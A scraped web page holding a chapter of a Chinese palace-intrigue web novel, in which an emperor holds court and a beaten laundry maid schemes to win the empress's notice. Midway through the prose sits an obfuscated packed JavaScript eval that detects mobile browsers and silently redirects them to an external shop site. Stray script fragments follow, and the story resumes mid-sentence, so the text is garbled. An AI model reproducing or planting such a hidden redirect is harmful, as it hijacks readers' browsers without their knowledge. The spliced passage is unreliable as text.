文趣网 > 其他小说 > 昭仪娘娘万福金安 > 3. 计谋
    第二日,祁元帝在孟皇后的宫中用完早膳,抬步离了未央宫,坐着御车前往光明殿上朝。

    一路随行御车的太监李莫愁躬身听着脑袋顶上的圣旨,“皇后头疾已久,让太医院所有御医集合看诊,若是治不好,就让这些庸医提头来见。”

    祁元帝的语调冷峻,身上的肩膀仍然残存着被孟俪枕得发麻的疼痛,但想起她年少时就与自己是夫妻,怎么也不肯亏待了她。

    倒是倾听圣旨的李莫愁显得如临大敌,答道:“喳,奴才这就去太医院宣旨。”

    光明殿上,刚才从宫后门走进殿中的祁元帝缓缓迈上金玉阶,殿下站着两排文武大臣,太常寺、大理寺、应天府、六部尚书侍郎、文丞相和镇江王兼太傅萧慕栩。

    随着祁元帝缓缓迈步至龙椅的过程中,呼浪沸腾:“吾皇万岁万岁万万岁。”

    祁元帝身量九尺,一身龙袍衬出他挺拔健硕的身材,正当壮年的男子展露出寻常百姓难以抵挡的英俊飘逸。

    白皙的肌肤透着健康的淡淡粉色,目若寥星:“众卿不必多礼。”

    眼神一一扫视过殿下诸人,随着六部的奏本汇报分别陈述过后,祁元帝适时开口:“太傅可有本奏?”

    站立在下首的太傅萧慕栩叹出一口气,道:“臣近日教导的国子监学生功课都十分用心,倒是陛下的龙储现如今只有宁采女所出的明月公主,

    臣心寤寐难安,愿陛下后宫开枝散叶,皇后娘娘早日诞下嫡出皇子,以安天下黎民百姓之期盼。”

    稳坐在龙椅上的祁元帝听见萧慕栩的奉承,笑容中带着对好友的认可,道:“众卿跪安吧。”

    底下如山呼海唤般的众大臣退朝之声很快宣扬了满殿,祁元帝再度坐着御车离开光明殿,直接回了寝宫。

    午时将至,贴身侍奉祁元帝的总管太监李莫愁很快招呼御膳房的太监宫女们准备传午膳进殿,殿内的陈设质朴却透着华贵的风格。

    身穿绿裳的侍女端着菜膳绕过珠帘,途径一个龙泉窑梅子青鱼耳瓶,最后将手中举托的餐盘小心翼翼地安放在御桌之上。

    脚步更是轻悄地退了出去。

    殿外的日头极是毒辣,内务总管李莫愁亲自去冰房凿冰,将冰块至于四方鼎中,吆喝着两个小黄门抬进大殿。

    原本斜倚在殿内圆椅上的祁元帝突然被一阵清凉冰风唤醒了精神,面容上带着微微笑意,接着出声:“倒是辛苦你了,难为你想得这般周到。”

    坐直了身子,举箸用膳。内务总管太监李莫愁见到眼前的陛下用膳,寻摸到一个好时机,跪着开口:“是老奴没用,今日累得陛下向朝臣解释后宫之事,

    老奴斗胆,恳请陛下广开选秀,充盈后宫。老奴必当竭尽全力,好好张罗此事,也好解陛下心中忧虑。”

    此时端着一碗蜜合冰酥酪正在小口品尝的祁元帝抬眸看了一眼跪伏在地上的李莫愁,笑道:“不忙,朕忧心家国天下,各部递上来的奏折都表示现如今朝廷稳定,

    各地百姓的日子都过得丰衣足食,百姓安泰和乐。朕的后宫现如今有妧贵妃和皇后,宁采女,虽说人员是单薄了些,

    倒也足矣。不需劳动选秀,没白得让一些适龄女儿离家万里,让各地百姓大户焦急忧虑。

    你有心了,起来吧。”

    看着地上跪着的内务总管李莫愁起身,祁元帝再度拨筷用了些绿蔬,挥退李莫愁等一干黄门,腹中半饱,站在金銮御桌边上看起闲书。

    檀香炉中缓缓燃着雨后茉莉的清香,负手而立的男子消食过后,自由地踱步往寝宫的床榻边迈步而去,褪下外衫的龙袍,里衫显得光滑而富有质感。

    祁元帝的声音回响在空荡荡的寝宫中:“真好,歇午了。”

    躺在床榻上缓缓闭目入眠,直到下午睡醒。

    祁元帝不过又领着人去了桃花岛,他准备去监督桃花岛的修建动工,亦方便来日去桃花岛小住,悠闲度日。

    ...

    只是过了几日,孔雪聆趁着午休时跑去内务府查看是否有自己的家信,小心翼翼地撕开信纸,瞳孔不自觉地放大,泪水倏然地从眼眶中滑落。

    信的开篇就是祖母离世的消息,信尾的几句父亲叮嘱她在宫中得到赏赐钱物,亦寄送回家。

    家中生意失败,货物随船而出遇到劫匪,既要理赔老家百姓的货品,又要养活母亲和家里,孔家的家道中落了。

    读完家信后的孔雪聆心里拔凉拔凉的。

    一路上失魂落魄地走回喧花铺,下午歇寝的三个宫女正梳妆打扮,她也只得草草梳洗了过后跟着三人一道去洗衣。

    依次找到各自的洗衣位置,手上的洗衣板做底,衣服蜷曲,还剩余大半桶的衣裳浸泡在洗衣桶里。

    在四人中做主的琅佩语调带着不耐烦:“你再洗快些吧.....照你这个速度,咱们又得分着洗你那桶衣裳了。”

    被点名的孔雪聆手上速度加快许多,“嘶哑——”手中的太监官衣被洗烂了一道口子。

    刚好被巡逻的掌事太监捉了个正着,尖锐的嗓子叫喊起来,手上的竹藤鞭条狠厉地落在孔雪聆身上,打的她衣衫尽破,血肉被鞭出血痕。

    孔雪聆口中求饶:“公公息怒,公公息怒,奴婢这就把衣裳缝补,一定原样如初!

    还请公公手下留情呀!”被竹藤鞭打的皮开肉绽,孔雪聆痛的直呼,眼泪似江的大颗大颗淌落。

    管事太监见她在自己面前嚎啕大哭,周围无数目光围绕着自己,心下更是傲慢:“小蹄子,洗衣裳就你才能洗坏咱家的衣裳,

    补得好倒罢了,若是坏了,咱家的新衣裳就从你这个月例的工钱里扣!”

    被连斥带喝的孔雪聆已从里间找出了针线,动作迅捷地开始缝补起那坏了的衣裳。

    琅佩和剩下的两人接手了她洗衣桶里的衣裳,已开始淘水过清,最后晾晒起来各宫杂役的衣裳。

    直到孔雪聆缝补好了衣裳给掌事太监过目,跟着琅佩三人晾晒起衣裳,手臂和小腿上被抽得血肉模糊的伤口确是疼痒无比。

    咬着嘴唇做完一系列洗衣房的工活,孔雪聆心中已然暗自决定,无论如何也要重新成为宫中的昭仪,家中落难

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792683|210450||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,宫里的日子如此艰辛。

    重生一遭,她又怎么能自甘平庸,每日洗衣倒还罢了,却被这掌事太监抽得头晕眼花,差点昏迷过去。

    呵......她为何要过这任人辱打欺凌的日子,孔雪聆随着琅佩三人结束了今日的洗衣差事,埋头走在回往喧花铺的路上。

    眼神渐渐变得镇定,俏脸含霜,一丝冰冷和欲望隐藏在她的眼眸深处。

    攥着从家中寄来的书信纸张,藏进怀里,还未至戌时,她一路小跑地来到尚衣局,在距离匾额的不远处的墙角确认着位置。

    心中如擂鼓般地做贼心虚,“皇后娘娘宫中此刻也该传膳了,想来晚膳过后,必然要经过御花园。”

    尚衣局对面的湖中中心处开着一朵浅紫的睡莲,品种稀罕,一见便是吉利的兆象。

    晚霞的夕晖照射在睡莲的花瓣上,使得眼前的美景更增添了几分神圣的光芒,孔雪聆相信皇后等人必然要经过她所埋伏等候的地方。

    等到猎物上钩,她必然要一步步地开始向这后宫践踏伤害过她的人,付出代价。

    时辰渐渐来到戌时,孟皇后身边扶着的酒菱撇头看见皇后蹙眉,开口劝道:“娘娘可是在为今日午间漳台的事情烦恼?”

    孟皇后身穿一袭正红銮金孔雀花裙,身间的披帛是飞蝶扑花的样式,行动间若春水拂莲。

    听见身边的酒菱开口解忧,挥手屏退了身后跟着的丫鬟,只单独拉着酒菱叙话:“陛下的后宫子嗣不丰,今日除了镇江王上奏之外,连陛下身边的李公公都要开口劝陛下广开选秀。

    本宫这两年容色还算得体,却又是被那妧贵妃夺去不少陛下的恩宠。

    此刻若再不行动,将来这未央宫怕是要换主了呀。唉——”

    身穿绿衣宫女品阶衣裳的酒菱扶着孟皇后一路走,一路小声劝慰她。

    还不待酒菱再度开口劝慰,忽地,酒菱呵斥一声:“何人在哭泣,是谁在装神弄鬼,给我滚出来!?”

    孟皇后后知后觉地也听见了几声似是狸奴儿的哭唤声,听见酒菱的呵斥,神情骤然严肃起来。

    盯着尚衣局墙角的一侧认真看去,却见一个粉色宫女衣裳的女子擦着眼泪,小碎步地跑将出来。

    眼睛望了望酒菱,最后一双含情泪目望着孟皇后,眼泪仍旧止不住地从眼眶子里滑落。

    饶是自认美貌的孟皇后都吃了一惊,眼前的宫女生得真是貌美,更别说这番梨花带雨的哭泣模样,便是她一个女子看了都不忍挪开视线。

    若是......陛下见了此女......

    心中的谋划渐渐酝酿了起来,而孟皇后身边的酒菱已开腔怒喝道:“你是哪个宫的宫女?何事在此哭泣,宫中又没有丧事,

    你无故在此哀声喟叹,按宫规.....”

    孟皇后听着听着,狠狠掐了一把扶着她手臂的酒菱。

    脸上换上笑意,温柔磁性的声音朝孔雪聆探去:“你是哪个宫里当差的宫女啊?天可怜见的,怎么这么伤心呢?

    不妨说给本宫听听,本宫帮你做主。”